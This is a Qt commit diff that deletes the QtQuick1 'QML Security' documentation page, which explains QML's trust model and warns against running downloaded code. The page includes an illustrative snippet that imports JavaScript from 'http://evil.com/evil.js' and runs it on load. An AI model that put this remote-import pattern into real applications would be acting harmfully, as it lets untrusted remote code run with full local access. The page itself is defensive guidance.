diff options
author | Matthew Vogt <matthew.vogt@nokia.com> | 2012-01-31 16:52:36 +1000 |
---|---|---|
committer | Qt by Nokia <qt-info@nokia.com> | 2012-02-03 00:39:18 +0100 |
commit | 01dc7e2ea476e0e6dcdce2e72979bbc858f4057d (patch) | |
tree | d8796f7695bbf8ad42abf47cd84c1b5e000ef795 /doc/src/qtquick1/qdeclarativesecurity.qdoc | |
parent | 5e07b57b818326da47a46d384415041fa4cea0ba (diff) |
Remove QtQuick1 elements from qtdeclarative
QtQuick1 is now contained in a separate repository.
Task-number: QTBUG-23737
Change-Id: I09eae67af5693a22b896b916f816f73ccc3a89b1
Reviewed-by: Martin Jones <martin.jones@nokia.com>
Diffstat (limited to 'doc/src/qtquick1/qdeclarativesecurity.qdoc')
-rw-r--r-- | doc/src/qtquick1/qdeclarativesecurity.qdoc | 81 |
1 files changed, 0 insertions, 81 deletions
diff --git a/doc/src/qtquick1/qdeclarativesecurity.qdoc b/doc/src/qtquick1/qdeclarativesecurity.qdoc deleted file mode 100644 index 05d06c8ea7..0000000000 --- a/doc/src/qtquick1/qdeclarativesecurity.qdoc +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativesecurity.html -\inqmlmodule QtQuick 1 -\title QML Security -\section1 QML Security - -The QML security model is that QML content is a chain of trusted content: the user -installs QML content that they trust in the same way as they install native Qt applications, -or programs written with runtimes such as Python and Perl. That trust is establish by any -of a number of mechanisms, including the availability of package signing on some platforms. - -In order to preserve the trust of users, developers producing QML content should not execute -arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. - -For example, this QML content: - -\qml -import QtQuick 1.0 -import "http://evil.com/evil.js" as Evil - -Component { - onLoaded: Evil.doEvil() -} -\endqml - -is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution -environment of QML does not try to stop any particular accesses, including local file system -access, just as for any native Qt application, so the "doEvil" function could do the same things -as a native Qt application, a Python application, a Perl script, etc. - -As with any application accessing other content beyond it's control, a QML application should -perform appropriate checks on untrusted data it loads. - -A non-exhaustive list of the ways you could shoot yourself in the foot is: - -\list - \i Using \c import to import QML or JavaScript you do not control. BAD - \i Using \l Loader to import QML you do not control. BAD - \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD -\endlist - -However, the above does not mean that you have no use for the network transparency of QML. -There are many good and useful things you \e can do: - -\list - \i Create \l Image elements with source URLs of any online images. GOOD - \i Use XmlListModel to present online content. GOOD - \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD -\endlist - -The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, -has quite many restrictions. With QML, you should neither rely on similar restrictions, nor -worry about working around them. -*/ |